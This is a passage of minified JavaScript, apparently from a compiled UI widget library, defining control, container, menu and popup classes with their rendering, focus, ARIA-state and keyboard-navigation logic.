f=this.Df[b[e]],f=f?f[a].apply(f,d):this.lg[b[e]].prototype[a].apply(this,d);if(null!=f)return f}}; x.Jt=function(a){if(this.Df)for(var b=0;b<this.Df.length;++b)if(this.Df[b]instanceof a)return this.Df[b];return null};var g_=function(a){if(!a.kt){var b;for(b=a.constructor;b&&!b.Gh;)b=b.c&&b.c.constructor;H(b,XJ);b.Gh.DL||(b.Gh.DL=d_(b));b=new b.Gh.DL(a);a.kt=b;a.Jt?H(a.Jt==f_,dy):a.Jt=f_}},f_=function(a){return this.kt.Jt(a)};var h_=function(){},i_=new h_,j_=[Rx,DN?bD:aD,cD];h_.prototype.j=function(a,b,d,e,f){var g=function(a){var d=DO(b);a.type==Rx&&a.Ys()?d.call(e,a):13!=a.keyCode&&3!=a.keyCode||a.type==cD?32==a.keyCode&&a.type==cD&&(a.target.getAttribute(bI)||null)==ox&&(d.call(e,a),a.preventDefault()):(a.type=bD,d.call(e,a))};g.si=b;g.O0=e;f?f.j(a,j_,g,d):CO(a,j_,g,d)}; h_.prototype.$=function(a,b,d,e,f){for(var g,k=0;g=j_[k];k++){var p;var q=a;p=g;var t=!!d;p=hO(q)?q.Mu(p,t):q?(q=FO(q))?q.Mu(p,t):[]:[];for(q=0;t=p[q];q++)if(t.Jf.si==b&&t.Jf.O0==e){f?f.$(a,g,t.Jf,d,e):JO(a,g,t.Jf,d,e);break}}};var k_=function(){};E(k_,$Z);k_.prototype.Hj=function(){};k_.prototype.Hj.WE=!0;var l_=function(){};l_.prototype.qb=function(){};var m_=function(a,b,d){this.element=a;this.As=b;this.zca=d};E(m_,l_);m_.prototype.qb=function(a,b,d){CZ(this.element,this.As,a,b,void 0,d,this.zca)};var n_=function(a,b,d,e){m_.call(this,a,b);this.Gk=d?5:0;this.zF=e||void 0};E(n_,m_);n_.prototype.mba=function(){return this.Gk};n_.prototype.xu=function(a){this.Gk=a};n_.prototype.qb=function(a,b,d,e){var f=CZ(this.element,this.As,a,b,null,d,10,e,this.zF);if(f&496){var g=this.Cv(f,this.As);b=this.Cv(f,b);f=CZ(this.element,g,a,b,null,d,10,e,this.zF);f&496&&(g=this.Cv(f,g),b=this.Cv(f,b),CZ(this.element,g,a,b,null,d,this.Gk,e,this.zF))}};n_.prototype.Cv=function(a,b){a&48&&(b^=2);a&192&&(b^=1);return b};var o_=function(a,b,d,e){n_.call(this,a,b,d||e);(d||e)&&this.xu(65|(e?32:132))};E(o_,n_);var p_=function(a,b){this.Gv=a instanceof yP?a:new yP(a,b)};E(p_,l_);p_.prototype.qb=function(a,b,d,e){H(a);var f;f=LP(a);var g=f.body;f=f.documentElement;f=new yP(g.scrollLeft||f.scrollLeft,g.scrollTop||f.scrollTop);g=this.Gv.x+f.x;f=this.Gv.y+f.y;var k=zZ(a),g=g-k.x;f-=k.y;BZ(new yP(g,f),a,b,d,null,null,e)};var q_=function(a,b){p_.call(this,a,b)};E(q_,p_);q_.prototype.Gk=0;q_.prototype.xu=function(a){this.Gk=a};q_.prototype.qb=function(a,b,d,e){var f=UR(a),f=ZR(f),g=MP(a).DO(),g=new yP(this.Gv.x+g.scrollLeft,this.Gv.y+g.scrollTop),k=b,p=BZ(g,a,k,d,f,10,e);if(0!=(p&496)){if(p&16||p&32)k^=2;if(p&64||p&128)k^=1;p=BZ(g,a,k,d,f,10,e);0!=(p&496)&&BZ(g,a,b,d,f,this.Gk,e)}};var s_=function(a,b){if(!a)throw Error("Invalid class name "+a);if(!RL(b))throw Error("Invalid decorator function "+b);r_[a]=b},t_={},r_={};var u_=function(a){this.pG=a};ML(u_);x=u_.prototype;x.Cf=function(){return this.pG};x.ty=function(a,b){a&&(a.tabIndex=b?0:-1)};x.C=function(a){return a.q().C(s,this.ui(a).join(fa))};x.Ua=function(a){return a};x.Ld=function(a){return a.tagName==m};x.Ra=function(a,b){b.id&&a.kc(b.id);var d=this.Y(),e=!1,f=UT(b);f&&I(f,function(b){b==d?e=!0:b&&this.tA(a,b,d)},this);e||WT(b,d);this.xA(a,this.Ua(b));return b};x.tA=function(a,b,d){b==d+ud?a.Gb(!1):b==d+Dd?a.qF(aC):b==d+fe&&a.qF(LK)}; x.xA=function(a,b,d){if(b){d=d||b.firstChild;for(var e;d&&d.parentNode==b;){e=d.nextSibling;if(1==d.nodeType){var f=this.EA(d);f&&(f.pf(d),a.isEnabled()||f.Gb(!1),a.ta(f),f.Ra(d))}else d.nodeValue&&hM(d.nodeValue)!=c||b.removeChild(d);d=e}}};x.EA=function(a){t:{var b;a=UT(a);for(var d=0,e=a.length;d<e;d++)if(b=a[d],b=b in r_?r_[b]():null){a=b;break t}a=null}return a};x.cl=function(a){a=a.b();H(a,Jt);mS(a,!0,DN);J&&(a.hideFocus=!0);var b=this.Cf();b&&UY(a,b)};x.Ib=function(a){return a.b()};x.Y=function(){return nB}; x.ui=function(a){var b=this.Y(),d=[b,a.Bi==aC?b+Dd:b+fe];a.isEnabled()||d.push(b+ud);return d};var v_=function(){},w_;ML(v_);var x_=function(a,b){var d=new a;d.Y=function(){return b};return d},y_={button:nH,checkbox:Kx,menuitem:yI,menuitemcheckbox:Kx,menuitemradio:Kx,radio:Kx,tab:yI,treeitem:yI};x=v_.prototype;x.Cf=function(){};x.C=function(a){var b=a.q().C(s,this.ui(a).join(fa),a.getContent());this.Is(a,b);return b};x.Ua=function(a){return a};x.ct=function(a,b,d){if(a=a.b?a.b():a)if(J&&!SN(ff)){var e=this.My(FP(a),b);e.push(b);YL(d?M:HP,a).apply(null,e)}else JP(a,b,d)}; x.KO=function(a,b,d){this.ct(a,b,d)};x.Ld=function(){return!0}; x.Ra=function(a,b){b.id&&a.kc(b.id);var d=this.Ua(b);d&&d.firstChild?a.Qr(d.firstChild.nextSibling?gN(d.childNodes):d.firstChild):a.Qr(null);var e=0,f=this.Y(),g=this.sk(),k=!1,p=!1,d=!1,q=FP(b);I(q,function(a){k||a!=f?p||a!=g?e|=this.Vz(a):p=!0:(k=!0,g==f&&(p=!0))},this);a.WB(e);k||(q.push(f),g==f&&(p=!0));p||q.push(g);var t=a.zf;t&&q.push.apply(q,t);if(J&&!SN(ff)){var B=this.My(q);0<B.length&&(q.push.apply(q,B),d=!0)}if(!k||!p||t||d)b.className=q.join(fa);this.Is(a,b);return b}; x.cl=function(a){a.Rf()&&this.Ll(a.b(),!0);a.isEnabled()&&this.Vf(a,a.ra())};x.RA=function(a,b){var d=b||this.Cf();d&&(H(a,Kt),UY(a,d))};x.Is=function(a,b){H(a);H(b);a.ra()||WY(b,WB,!a.ra());a.isEnabled()||this.bg(b,1,!a.isEnabled());a.Pb(8)&&this.bg(b,8,a.eK());a.Pb(16)&&this.bg(b,16,a.rl());a.Pb(64)&&this.bg(b,64,a.gg())};x.Ho=function(a,b){mS(a,!b,!J&&!CN)};x.Ll=function(a,b){this.ct(a,this.sk()+Vd,b)};x.Kg=function(a){var b;return a.Pb(32)&&(b=a.Ib())?kQ(b)&&lQ(b):!1}; x.Vf=function(a,b){var d;if(a.Pb(32)&&(d=a.Ib())){if(!b&&a.Gu()){try{d.blur()}catch(e){}a.Gu()&&a.ie(null)}(kQ(d)&&lQ(d))!=b&&jQ(d,b)}};x.setVisible=function(a,b){U(a,b);a&&WY(a,WB,!b)};x.md=function(a,b,d){var e=a.b();if(e){var f=this.Go(b);f&&this.ct(a,f,d);this.bg(e,b,d)}};x.bg=function(a,b,d){w_||(w_={1:Wy,8:yI,16:Kx,64:Vz});H(a,Kt);b=w_[b];var e=a.getAttribute(bI)||null;e&&(e=y_[e]||b,b=b==Kx||b==yI?e:b);b&&WY(a,b,d)}; x.setContent=function(a,b){var d=this.Ua(a);if(d&&(ZP(d),b))if(A(b))gQ(d,b);else{var e=function(a){if(a){var b=LP(d);d.appendChild(A(a)?b.createTextNode(a):a)}};OL(b)?I(b,e):!PL(b)||HF in b?e(b):I(gN(b),e)}};x.Ib=function(a){return a.b()};x.Y=function(){return oB};x.sk=function(){return this.Y()};x.ui=function(a){var b=this.Y(),d=[b],e=this.sk();e!=b&&d.push(e);b=this.i5(a.vb());d.push.apply(d,b);(a=a.zf)&&d.push.apply(d,a);J&&!SN(ff)&&d.push.apply(d,this.My(d));return d}; x.My=function(a,b){var d=[];b&&(a=a.concat([b]));I([],function(e){!XM(e,YL(aN,a))||b&&!aN(e,b)||d.push(e.join(Cv))});return d};x.i5=function(a){for(var b=[];a;){var d=a&-a;b.push(this.Go(d));a&=~d}return b};x.Go=function(a){this.Dv||this.cR();return this.Dv[a]};x.Vz=function(a){this.aR||this.Zca();a=parseInt(this.aR[a],10);return isNaN(a)?0:a};x.cR=function(){var a=this.sk();this.Dv={1:a+ud,2:a+Ed,4:a+Vc,8:a+Wd,16:a+kd,32:a+Bd,64:a+Qd}};x.Zca=function(){this.Dv||this.cR();this.aR=rO(this.Dv)};var z_=function(a,b,d){IZ.call(this,d);if(!b){b=this.constructor;for(var e;b;){e=VL(b);if(e=t_[e])break;b=b.c?b.c.constructor:null}b=e?RL(e.Ja)?e.Ja():new e:null}this.da=b;this.Qr(z(a)?a:null)};E(z_,IZ);x=z_.prototype;x.Zd=null;x.qa=0;x.Wn=39;x.zv=255;x.Zu=0;x.Va=!0;x.zf=null;x.Fx=!0;x.$r=!1;x.Ym=null;x.Ux=function(a){this.wa()&&a!=this.Fx&&this.eI(a);this.Fx=a};x.Ib=function(){return this.da.Ib(this)};x.Sn=function(){return this.Aa||(this.Aa=new bZ)}; x.Bs=function(a){a&&(this.zf?aN(this.zf,a)||this.zf.push(a):this.zf=[a],this.da.KO(this,a,!0))};x.Lca=function(a){a&&this.zf&&dN(this.zf,a)&&(0==this.zf.length&&(this.zf=null),this.da.KO(this,a,!1))};x.ct=function(a,b){b?this.Bs(a):this.Lca(a)};x.C=function(){var a=this.da.C(this);this.pf(a);this.da.RA(a,this.Ym);this.$r||this.da.Ho(a,!1);this.ra()||this.da.setVisible(a,!1)};x.Ua=function(){return this.da.Ua(this.b())};x.Ld=function(a){return this.da.Ld(a)}; x.Ca=function(a){a=this.da.Ra(this,a);this.pf(a);this.da.RA(a,this.Ym);this.$r||this.da.Ho(a,!1);this.Va=a.style.display!=JF};x.R=function(){z_.c.R.call(this);this.da.cl(this);if(this.Wn&-2&&(this.Fx&&this.eI(!0),this.Pb(32))){var a=this.Ib();if(a){var b=this.Sn();b.kj(a);this.L().j(b,$C,this.Ie).j(a,OA,this.$g).j(a,Ww,this.ie)}}}; x.eI=function(a){var b=this.L(),d=this.b();a?(b.j(d,qE,this.Sx).j(d,nE,this.ce).j(d,rE,this.Tg).j(d,pE,this.Rx),this.po!=y&&b.j(d,ly,this.po),J&&b.j(d,Iy,this.yI)):(b.$(d,qE,this.Sx).$(d,nE,this.ce).$(d,rE,this.Tg).$(d,pE,this.Rx),this.po!=y&&b.$(d,ly,this.po),J&&b.$(d,Iy,this.yI))};x.oa=function(){z_.c.oa.call(this);this.Aa&&this.Aa.detach();this.ra()&&this.isEnabled()&&this.da.Vf(this,!1)};x.A=function(){z_.c.A.call(this);this.Aa&&(this.Aa.Q(),delete this.Aa);delete this.da;this.zf=this.Zd=null}; x.getContent=function(){return this.Zd};x.setContent=function(a){this.da.setContent(this.b(),a);this.Qr(a)};x.Qr=function(a){this.Zd=a};x.Vd=function(){var a=this.getContent();if(!a)return c;a=A(a)?a:OL(a)?UM(a,oQ).join(c):nQ(a);return gM(a)};x.eL=function(a){this.setContent(a)};x.Ll=function(a){z_.c.Ll.call(this,a);var b=this.b();b&&this.da.Ll(b,a)};x.Ho=function(a){this.$r=a;var b=this.b();b&&this.da.Ho(b,a)};x.ra=function(){return this.Va}; x.setVisible=function(a,b){if(b||this.Va!=a&&this.dispatchEvent(a?OI:XB)){var d=this.b();d&&this.da.setVisible(d,a);this.isEnabled()&&this.da.Vf(this,a);this.Va=a;return!0}return!1};x.isEnabled=function(){return!this.he(1)};x.z4=function(){var a=this.getParent();return!!a&&typeof a.isEnabled==XA&&!a.isEnabled()};x.Gb=function(a){!this.z4()&&this.zk(1,!a)&&(a||(this.setActive(!1),this.Ke(!1)),this.ra()&&this.da.Vf(this,a),this.md(1,!a))};x.Ke=function(a){this.zk(2,a)&&this.md(2,a)};x.Ii=function(){return this.he(4)}; x.setActive=function(a){this.zk(4,a)&&this.md(4,a)};x.eK=function(){return this.he(8)};x.Su=function(a){this.zk(8,a)&&this.md(8,a)};x.rl=function(){return this.he(16)};x.cI=function(a){this.zk(16,a)&&this.md(16,a)};x.Gu=function(){return this.he(32)};x.Kt=function(a){this.zk(32,a)&&this.md(32,a)};x.gg=function(){return this.he(64)};x.$b=function(a){this.zk(64,a)&&this.md(64,a)};x.vb=function(){return this.qa};x.he=function(a){return!!(this.qa&a)}; x.md=function(a,b){this.Pb(a)&&b!=this.he(a)&&(this.da.md(this,a,b),this.qa=b?this.qa|a:this.qa&~a)};x.WB=function(a){this.qa=a};x.Pb=function(a){return!!(this.Wn&a)};x.nd=function(a,b){if(this.wa()&&this.he(a)&&!b)throw Error(wl);!b&&this.he(a)&&this.md(a,!1);this.Wn=b?this.Wn|a:this.Wn&~a};x.le=function(a){return!!(this.zv&a)&&this.Pb(a)};x.Gaa=function(a,b){this.zv=b?this.zv|a:this.zv&~a};x.rA=function(a,b){this.Zu=b?this.Zu|a:this.Zu&~a}; x.zk=function(a,b){return this.Pb(a)&&this.he(a)!=b&&(!(this.Zu&a)||this.dispatchEvent(JZ(a,b)))&&!this.Fd()};x.Sx=function(a){!A_(a,this.b())&&this.dispatchEvent(Qz)&&this.isEnabled()&&this.le(2)&&this.Ke(!0)};x.Rx=function(a){!A_(a,this.b())&&this.dispatchEvent(nD)&&(this.le(4)&&this.setActive(!1),this.le(2)&&this.Ke(!1))};x.po=y;var A_=function(a,b){return!!a.relatedTarget&&fQ(b,a.relatedTarget)};x=z_.prototype; x.ce=function(a){this.isEnabled()&&(this.le(2)&&this.Ke(!0),a.Ys()&&(this.le(4)&&this.setActive(!0),this.da.Kg(this)&&this.Ib().focus()));!this.$r&&a.Ys()&&a.preventDefault()};x.Tg=function(a){this.isEnabled()&&(this.le(2)&&this.Ke(!0),this.Ii()&&this.Fj(a)&&this.le(4)&&this.setActive(!1))};x.yI=function(a){this.isEnabled()&&this.Fj(a)}; x.Fj=function(a){this.le(16)&&this.cI(!this.rl());this.le(8)&&this.Su(!0);this.le(64)&&this.$b(!this.gg());var b=new L(Yv,this);a&&(b.altKey=a.altKey,b.ctrlKey=a.ctrlKey,b.metaKey=a.metaKey,b.shiftKey=a.shiftKey,b.CD=a.CD);return this.dispatchEvent(b)};x.$g=function(){this.le(32)&&this.Kt(!0)};x.ie=function(){this.le(4)&&this.setActive(!1);this.le(32)&&this.Kt(!1)};x.Ie=function(a){return this.ra()&&this.isEnabled()&&this.Me(a)?(a.preventDefault(),a.stopPropagation(),!0):!1}; x.Me=function(a){return 13==a.keyCode&&this.Fj(a)};if(!RL(z_))throw Error("Invalid component class "+z_);if(!RL(v_))throw Error("Invalid renderer class "+v_);var B_=VL(z_);t_[B_]=v_;s_(oB,function(){return new z_(null)});var C_=function(a,b,d){IZ.call(this,d);this.da=b||u_.Ja();this.Bi=a||LK};E(C_,IZ);x=C_.prototype;x.Nl=null;x.Aa=null;x.da=null;x.Bi=null;x.Va=!0;x.Qb=!0;x.cu=!0;x.je=-1;x.hc=null;x.Ox=!1;x.r_=!1;x.iY=!0;x.Rg=null;x.Ib=function(){return this.Nl||this.da.Ib(this)}; x.q$=function(a){if(this.cu){var b=this.Ib(),d=this.wa();this.Nl=a;var e=this.Ib();d&&(this.Nl=b,this.Tq(!1),this.Nl=a,this.Sn().kj(e),this.Tq(!0))}else throw Error("Can't set key event target for container that doesn't support keyboard focus!");};x.Sn=function(){return this.Aa||(this.Aa=new bZ(this.Ib()))};x.C=function(){this.pf(this.da.C(this))};x.Ua=function(){return this.da.Ua(this.b())};x.Ld=function(a){return this.da.Ld(a)}; x.Ca=function(a){this.pf(this.da.Ra(this,a));a.style.display==JF&&(this.Va=!1)};x.R=function(){C_.c.R.call(this);this.$h(function(a){a.wa()&&this.eH(a)},this);var a=this.b();this.da.cl(this);this.setVisible(this.Va,!0);this.L().j(this,Qz,this.Bw).j(this,YB,this.xw).j(this,nK,this.yw).j(this,jG,this.KS).j(this,Ux,this.IS).j(a,nE,this.ce).j(LP(a),rE,this.JS).j(a,[nE,rE,qE,pE,ly],this.HS);this.Kg()&&this.Tq(!0)}; x.Tq=function(a){var b=this.L(),d=this.Ib();a?b.j(d,OA,this.$g).j(d,Ww,this.ie).j(this.Sn(),$C,this.Ie):b.$(d,OA,this.$g).$(d,Ww,this.ie).$(this.Sn(),$C,this.Ie)};x.oa=function(){this.of(-1);this.hc&&this.hc.$b(!1);this.Ox=!1;C_.c.oa.call(this)};x.A=function(){C_.c.A.call(this);this.Aa&&(this.Aa.Q(),this.Aa=null);this.da=this.hc=this.Rg=this.Nl=null};x.Bw=function(){return!0}; x.xw=function(a){var b=this.Fl(a.target);if(-1<b&&b!=this.je){var d=this.Ee();d&&d.Ke(!1);this.je=b;d=this.Ee();this.Ox&&d.setActive(!0);this.iY&&this.hc&&d!=this.hc&&(d.Pb(64)?d.$b(!0):this.hc.$b(!1))}b=this.b();H(b,Ct);null!=a.target.b()&&WY(b,aw,a.target.b().id)};x.yw=function(a){a.target==this.Ee()&&(this.je=-1);a=this.b();H(a,Ct);a.removeAttribute(VY(aw))};x.KS=function(a){(a=a.target)&&a!=this.hc&&a.getParent()==this&&(this.hc&&this.hc.$b(!1),this.hc=a)}; x.IS=function(a){a.target==this.hc&&(this.hc=null)};x.ce=function(a){this.Qb&&this.Cj(!0);var b=this.Ib();b&&kQ(b)&&lQ(b)?b.focus():a.preventDefault()};x.JS=function(){this.Cj(!1)};x.HS=function(a){var b=this.z9(a.target);if(b)switch(a.type){case nE:b.ce(a);break;case rE:b.Tg(a);break;case qE:b.Sx(a);break;case pE:b.Rx(a);break;case ly:b.po(a)}};x.z9=function(a){if(this.Rg)for(var b=this.b();a&&a!==b;){var d=a.id;if(d in this.Rg)return this.Rg[d];a=a.parentNode}return null};x.$g=function(){}; x.ie=function(){this.of(-1);this.Cj(!1);this.hc&&this.hc.$b(!1)};x.Ie=function(a){return this.isEnabled()&&this.ra()&&(0!=this.ii()||this.Nl)&&this.Me(a)?(a.preventDefault(),a.stopPropagation(),!0):!1}; x.Me=function(a){var b=this.Ee();if(b&&typeof b.Ie==XA&&b.Ie(a)||this.hc&&this.hc!=b&&typeof this.hc.Ie==XA&&this.hc.Ie(a))return!0;if(a.shiftKey||a.ctrlKey||a.metaKey||a.altKey)return!1;switch(a.keyCode){case 27:if(this.Kg())this.Ib().blur();else return!1;break;case 36:this.ZM();break;case 35:this.l5();break;case 38:if(this.Bi==LK)this.fD();else return!1;break;case 37:if(this.Bi==aC)this.Rf()?this.eD():this.fD();else return!1;break;case 40:if(this.Bi==LK)this.eD();else return!1;break;case 39:if(this.Bi== aC)this.Rf()?this.fD():this.eD();else return!1;break;default:return!1}return!0};x.eH=function(a){var b=a.b(),b=b.id||(b.id=a.v());this.Rg||(this.Rg={});this.Rg[b]=a};x.ta=function(a,b){OM(a,z_,Gt);C_.c.ta.call(this,a,b)};x.mm=function(a,b,d){a.rA(2,!0);a.rA(64,!0);!this.Kg()&&this.r_||a.nd(32,!1);a.Ux(!1);C_.c.mm.call(this,a,b,d);a.wa()&&this.wa()&&this.eH(a);b<=this.je&&this.je++}; x.removeChild=function(a,b){if(a=A(a)?this.Xf(a):a){var d=this.Fl(a);-1!=d&&(d==this.je?(a.Ke(!1),this.je=-1):d<this.je&&this.je--);(d=a.b())&&d.id&&this.Rg&&oO(this.Rg,d.id)}a=C_.c.removeChild.call(this,a,b);a.Ux(!0);return a};x.qF=function(a){if(this.b())throw Error(wl);this.Bi=a};x.ra=function(){return this.Va}; x.setVisible=function(a,b){if(b||this.Va!=a&&this.dispatchEvent(a?OI:XB)){this.Va=a;var d=this.b();d&&(U(d,a),this.Kg()&&this.da.ty(this.Ib(),this.Qb&&this.Va),b||this.dispatchEvent(this.Va?ew:dw));return!0}return!1};x.isEnabled=function(){return this.Qb};x.Gb=function(a){this.Qb!=a&&this.dispatchEvent(a?Mz:Vy)&&(a?(this.Qb=!0,this.$h(function(a){a.SM?delete a.SM:a.Gb(!0)})):(this.$h(function(a){a.isEnabled()?a.Gb(!1):a.SM=!0}),this.Qb=!1,this.Cj(!1)),this.Kg()&&this.da.ty(this.Ib(),a&&this.Va))}; x.Kg=function(){return this.cu};x.Vf=function(a){a!=this.cu&&this.wa()&&this.Tq(a);this.cu=a;this.Qb&&this.Va&&this.da.ty(this.Ib(),a)};x.of=function(a){(a=this.Fb(a))?a.Ke(!0):-1<this.je&&this.Ee().Ke(!1)};x.Ke=function(a){this.of(this.Fl(a))};x.Ee=function(){return this.Fb(this.je)};x.ZM=function(){this.xv(function(a,b){return(a+1)%b},this.ii()-1)};x.l5=function(){this.xv(function(a,b){a--;return 0>a?b-1:a},0)};x.eD=function(){this.xv(function(a,b){return(a+1)%b},this.je)}; x.fD=function(){this.xv(function(a,b){a--;return 0>a?b-1:a},this.je)};x.xv=function(a,b){for(var d=0>b?this.Fl(this.hc):b,e=this.ii(),d=a.call(this,d,e),f=0;f<=e;){var g=this.Fb(d);if(g&&this.SO(g))return this.ZA(d),!0;f++;d=a.call(this,d,e)}return!1};x.SO=function(a){return a.ra()&&a.isEnabled()&&a.Pb(2)};x.ZA=function(a){this.of(a)};x.Cj=function(a){this.Ox=a};var D_=function(){};E(D_,v_);ML(D_);D_.prototype.Y=function(){return xB};var E_=function(a,b,d){z_.call(this,a,d||D_.Ja(),b);this.nd(1,!1);this.nd(2,!1);this.nd(4,!1);this.nd(32,!1);this.WB(1)};E(E_,z_);s_(xB,function(){return new E_(null)});var F_=function(){this.jG=[]};E(F_,v_);ML(F_);x=F_.prototype;x.Vl=function(a){var b=this.jG[a];if(!b){switch(a){case 0:b=this.sk()+Cd;break;case 1:b=this.sk()+jd;break;case 2:b=this.sk()+nd}this.jG[a]=b}return b};x.Cf=function(){return fE};x.C=function(a){var b=a.q().C(s,this.ui(a).join(fa),this.YI(a.getContent(),a.q()));this.WK(a,b,a.Pb(8)||a.Pb(16));this.Is(a,b);this.HH(a,b);return b};x.Ua=function(a){return a&&a.firstChild}; x.Ra=function(a,b){this.uY(b)||b.appendChild(this.YI(b.childNodes,a.q()));VT(b,DB)&&(a.Gr(!0),this.Gr(a,b,!0));return F_.c.Ra.call(this,a,b)};x.setContent=function(a,b){var d=this.Ua(a),e=this.zy(a)?d.firstChild:null;F_.c.setContent.call(this,a,b);e&&!this.zy(a)&&d.insertBefore(e,d.firstChild||null)};x.uY=function(a){a=cQ(a);var b=this.Vl(2);return!!a&&VT(a,b)};x.YI=function(a,b){var d=this.Vl(2);return b.C(s,d,a)};x.Gr=function(a,b,d){b&&(UY(b,d?gE:this.Cf()),this.WK(a,b,d))}; x.zy=function(a){if(a=this.Ua(a)){a=a.firstChild;var b=this.Vl(1);return!!a&&eQ(a)&&VT(a,b)}return!1};x.WK=function(a,b,d){d!=this.zy(b)&&(d?WT(b,DB):YT(b,DB),b=this.Ua(b),d?(d=this.Vl(1),b.insertBefore(a.q().C(s,d),b.firstChild||null)):b.removeChild(b.firstChild))};x.Go=function(a){switch(a){case 2:return this.Vl(0);case 16:case 8:return EB;default:return F_.c.Go.call(this,a)}};x.Vz=function(a){var b=this.Vl(0);switch(a){case EB:return 16;case b:return 2;default:return F_.c.Vz.call(this,a)}}; x.Y=function(){return yB};x.HH=function(a,b){(a.Pb(8)||a.Pb(16))&&this.RA(b,a.Pb(16)?gE:hE)};var G_=function(a,b,d,e){z_.call(this,a,e||F_.Ja(),d);this.Dc(b)};E(G_,z_);x=G_.prototype;x.D=function(){var a=this.Wg;return null!=a?a:this.Vd()};x.Dc=function(a){this.$k(a)};x.Gr=function(a){this.nd(16,a);var b=this.b();b&&this.da.Gr(this,b,a)};x.Vd=function(){var a=this.getContent();return OL(a)?(a=UM(a,function(a){return eQ(a)&&(VT(a,zB)||VT(a,AB))?c:oQ(a)}).join(c),gM(a)):G_.c.Vd.call(this)}; x.Tg=function(a){var b=this.getParent();if(b){var d=b.YK;b.YK=null;if(b=d&&QL(a.clientX))b=new yP(a.clientX,a.clientY),b=d==b?!0:d&&b?d.x==b.x&&d.y==b.y:!1;if(b)return}G_.c.Tg.call(this,a)};x.Me=function(a){return a.keyCode==this.iL&&this.Fj(a)?!0:G_.c.Me.call(this,a)};x.j0=function(){return this.iL};s_(yB,function(){return new G_(null)});G_.prototype.C=function(){G_.c.C.call(this);this.da.HH(this,this.b())};var H_=function(){};E(H_,v_);ML(H_);H_.prototype.C=function(a){return a.q().C(s,this.Y())};H_.prototype.Ra=function(a,b){b.id&&a.kc(b.id);if(b.tagName==bo){var d=b;b=this.C(a);$P(b,d);aQ(d)}else WT(b,this.Y());return b};H_.prototype.setContent=function(){};H_.prototype.Y=function(){return BB};var I_=function(a,b){z_.call(this,null,a||H_.Ja(),b);this.nd(1,!1);this.nd(2,!1);this.nd(4,!1);this.nd(32,!1);this.WB(1)};E(I_,z_);I_.prototype.R=function(){I_.c.R.call(this);var a=this.b();H(a,Dt);UY(a,AI)};s_(BB,function(){return new I_});var J_=function(a){this.pG=a||dE};E(J_,u_);ML(J_);x=J_.prototype;x.Ld=function(a){return a.tagName==gu||J_.c.Ld.call(this,a)};x.EA=function(a){return a.tagName==bo?new I_:J_.c.EA.call(this,a)};x.Di=function(a,b){return fQ(a.b(),b)};x.Y=function(){return vB};x.cl=function(a){J_.c.cl.call(this,a);a=a.b();H(a,Nt);WY(a,SB,WJ)};s_(BB,function(){return new I_});var K_=function(a,b){C_.call(this,LK,b||J_.Ja(),a);this.Vf(!1)};E(K_,C_);x=K_.prototype;x.PA=!0;x.RO=!1;x.Y=function(){return this.da.Y()};x.Di=function(a){if(this.da.Di(this,a))return!0;for(var b=0,d=this.ii();b<d;b++){var e=this.Fb(b);if(typeof e.Di==XA&&e.Di(a))return!0}return!1};x.removeItem=function(a){(a=this.removeChild(a,!0))&&a.Q()};x.TJ=function(){return this.ii()};x.vY=function(){var a=[];this.$h(function(b){a.push(b)});return a}; x.setPosition=function(a,b){var d=this.ra();d||U(this.b(),!0);var e=this.b(),f=a,g=b,k=XR(e);f instanceof yP&&(g=f.y,f=f.x);SR(e,e.offsetLeft+(f-k.x),e.offsetTop+(g-k.y));d||U(this.b(),!1)};x.getPosition=function(){return this.ra()?XR(this.b()):null};x.Ar=function(a){(this.PA=a)&&this.Vf(!0)};x.SW=function(a){this.RO=a};x.setVisible=function(a,b,d){(b=K_.c.setVisible.call(this,a,b))&&a&&this.wa()&&this.PA&&this.Ib().focus();this.YK=a&&d&&QL(d.clientX)?new yP(d.clientX,d.clientY):null;return b}; x.Bw=function(a){this.PA&&this.Ib().focus();return K_.c.Bw.call(this,a)};x.SO=function(a){return(this.RO||a.isEnabled())&&a.ra()&&a.Pb(2)};x.Ca=function(a){this.fJ(a);K_.c.Ca.call(this,a)};x.Me=function(a){var b=K_.c.Me.call(this,a);b||this.$h(function(d){!b&&d.j0&&d.iL==a.keyCode&&(this.isEnabled()&&this.Ke(d),b=d.Ie(a))},this);return b};x.of=function(a){K_.c.of.call(this,a);(a=this.Fb(a))&&aS(a.b(),this.b())}; x.fJ=function(a){var b=this.da;a=this.q().qr(s,b.Y()+nd,a);for(var d=a.length,e=0;e<d;e++)b.xA(this,a[e])};var L_=function(a,b){N.call(this);this.fb=new LQ(this);this.js(a||null);b&&this.Tm(b)};E(L_,N);x=L_.prototype;x.N=null;x.hZ=!0;x.EN=null;x.dk=!1;x.jaa=!1;x.fK=-1;x.Hz=-1;x.jZ=!1;x.H4=!0;x.Kd=IJ;x.Qa=function(){return this.Kd};x.Tm=function(a){this.Kd=a};x.b=function(){return this.N};x.js=function(a){this.e5();this.N=a};x.LK=function(a,b){this.Al=a;this.Ql=b};x.L=function(){return this.fb};x.e5=function(){if(this.dk)throw Error("Can not change this state of the popup while showing.");};x.ra=function(){return this.dk}; x.Ss=function(){return this.dk||150>D()-this.Hz};x.setVisible=function(a){this.Al&&this.Al.stop();this.Ql&&this.Ql.stop();a?this.ok():this.Jh()};x.qb=y; x.ok=function(){if(!this.dk&&this.kZ()){if(!this.N)throw Error("Caller must call setElement before trying to show the popup");this.qb();var a=LP(this.N);this.jZ&&this.fb.j(a,aD,this.lZ,!0);if(this.hZ)if(this.fb.j(a,nE,this.hK,!0),J){var b;try{b=a.activeElement}catch(d){}for(;b&&b.nodeName==no;){try{var e=b.contentDocument||b.contentWindow.document}catch(f){break}a=e;b=a.activeElement}this.fb.j(a,nE,this.hK,!0);this.fb.j(a,Ky,this.gK)}else this.fb.j(a,Ww,this.gK);this.Kd==IJ?this.mZ():this.Kd==tE&& this.qb();this.dk=!0;this.fK=D();this.Hz=-1;this.Al?(IO(this.Al,Nz,this.iK,!1,this),this.Al.play()):this.iK()}};x.Jh=function(a){if(!this.dk||!this.o6(a))return!1;this.fb&&this.fb.Na();this.dk=!1;this.Hz=D();this.Ql?(IO(this.Ql,Nz,YL(this.wO,a),!1,this),this.Ql.play()):this.wO(a);return!0};x.wO=function(a){this.Kd==IJ?this.jaa?OQ(this.qQ,0,this):this.qQ():this.Kd==tE&&this.gaa();this.haa(a)};x.mZ=function(){this.N.style.visibility=RK;U(this.N,!0)}; x.qQ=function(){this.N.style.visibility=WB;U(this.N,!1)};x.gaa=function(){this.N.style.top=Sc};x.kZ=function(){return this.dispatchEvent(Qw)};x.iK=function(){this.dispatchEvent(OI)};x.o6=function(a){return 